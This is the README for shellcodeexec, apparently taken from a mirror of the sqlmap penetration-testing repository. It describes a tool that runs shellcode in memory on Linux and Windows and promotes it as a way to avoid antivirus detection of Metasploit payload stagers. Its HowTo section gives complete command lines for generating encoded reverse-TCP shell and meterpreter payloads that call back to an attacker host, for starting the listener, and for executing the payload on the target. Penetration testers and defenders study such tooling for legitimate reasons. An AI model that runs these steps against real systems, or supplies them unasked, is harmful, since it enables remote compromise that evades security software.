mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
127 lines
4.8 KiB
Plaintext
127 lines
4.8 KiB
Plaintext
|
= Short description =
|
||
|
|
||
|
shellcodeexec is a small script to execute in memory a sequence of opcodes.
|
||
|
|
||
|
|
||
|
= Background =
|
||
|
|
||
|
Most of the shellcode launchers out there, including proof of concepts
|
||
|
part of many "security" books, detail how to allocate a memory page as
|
||
|
readable/writable/executable on POSIX systems, copy over your shellcode
|
||
|
and execute it. This works just fine. However, it is limited to POSIX,
|
||
|
does not necessarily consider 64-bit architecture and Windows systems.
|
||
|
|
||
|
|
||
|
= Description =
|
||
|
|
||
|
This script and the relevant project files (Makefile and Visual Studio
|
||
|
files) allow you to compile the tool once then run your shellcode across
|
||
|
different architectures and operating systems.
|
||
|
|
||
|
Moreover, it solves a common real world issue: the target system's anti
|
||
|
virus software blocking a Metasploit-generated payload stager (either EXE
|
||
|
of ELF). Take for instance the following command line:
|
||
|
|
||
|
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
|
||
|
|
||
|
This generates a Metasploit payload stager, payload.exe, that as soon as
|
||
|
it lands on the AV-protected target system is recognized as malicious and
|
||
|
potentially blocked (depending on the on-access scan settings) by many
|
||
|
anti virus products. At the time of writing this text, 21 out 41 anti
|
||
|
viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
|
||
|
multiple times with msfencode, less AV softwares detect it, still a lot.
|
||
|
|
||
|
I have been surfing the Net and found some interesting tutorials and
|
||
|
guides about packing, compressing, obfuscating and applying IDA-foo to
|
||
|
portable executables et similar in order to narrow down the number of AV
|
||
|
products that can detect it as a malicious file. This is all interesting,
|
||
|
but does not stop few hard-to-die anti viruses to detect your backdoor.
|
||
|
|
||
|
So the question is, how cool would it be to have a final solution to avoid
|
||
|
all this hassle? This is exactly where this tool comes into play!
|
||
|
|
||
|
|
||
|
= Features =
|
||
|
|
||
|
shellcodeexec:
|
||
|
|
||
|
* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
|
||
|
|
||
|
* Can be compiled and works on 32-bit and 64-bit architectures.
|
||
|
|
||
|
* As far as I know, no AV detect it as malicious.
|
||
|
|
||
|
* Works in DEP/NX-enabled environments: it allocates the memory page where
|
||
|
it stores the shellcode as +rwx - Readable Writable and eXecutable.
|
||
|
|
||
|
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
|
||
|
shellcode (generated for instance with Metasploit's msfpayload) to
|
||
|
Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
|
||
|
BufferRegister variable to EAX registry where the address in memory of
|
||
|
the shellcode will be stored, to avoid get_pc() binary stub to be
|
||
|
prepended to the shellcode.
|
||
|
|
||
|
* Spawns a new thread where the shellcode is executed in a structure
|
||
|
exception handler (SEH) so that if you wrap shellcodeexec into your own
|
||
|
executable, it avoids the whole process to crash in case of unexpected
|
||
|
behaviours.
|
||
|
|
||
|
|
||
|
= HowTo =
|
||
|
|
||
|
1. Generate a Metasploit shellcode and encode it with the alphanumeric
|
||
|
encoder. For example for a Linux target:
|
||
|
|
||
|
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||
|
|
||
|
Or for a Windows target:
|
||
|
|
||
|
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||
|
|
||
|
|
||
|
2. Execute the Metasploit multi/handler listener on your machine. For
|
||
|
example for a Linux target:
|
||
|
|
||
|
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
|
||
|
|
||
|
Or for a Windows target:
|
||
|
|
||
|
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
|
||
|
|
||
|
|
||
|
3. Execute the alphanumeric-encoded shellcode with this tool. For example
|
||
|
on the Linux target:
|
||
|
|
||
|
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
|
||
|
|
||
|
Or, on the Windows target:
|
||
|
|
||
|
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
|
||
|
|
||
|
|
||
|
= License =
|
||
|
|
||
|
This source code is free software; you can redistribute it and/or
|
||
|
modify it under the terms of the GNU Lesser General Public
|
||
|
License as published by the Free Software Foundation; either
|
||
|
version 2.1 of the License, or (at your option) any later version.
|
||
|
|
||
|
This library is distributed in the hope that it will be useful,
|
||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||
|
Lesser General Public License for more details.
|
||
|
|
||
|
You should have received a copy of the GNU Lesser General Public
|
||
|
License along with this library; if not, write to the Free Software
|
||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||
|
|
||
|
|
||
|
= Author =
|
||
|
|
||
|
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||
|
|
||
|
|
||
|
= Homepage =
|
||
|
|
||
|
https://github.com/inquisb/shellcodeexec
|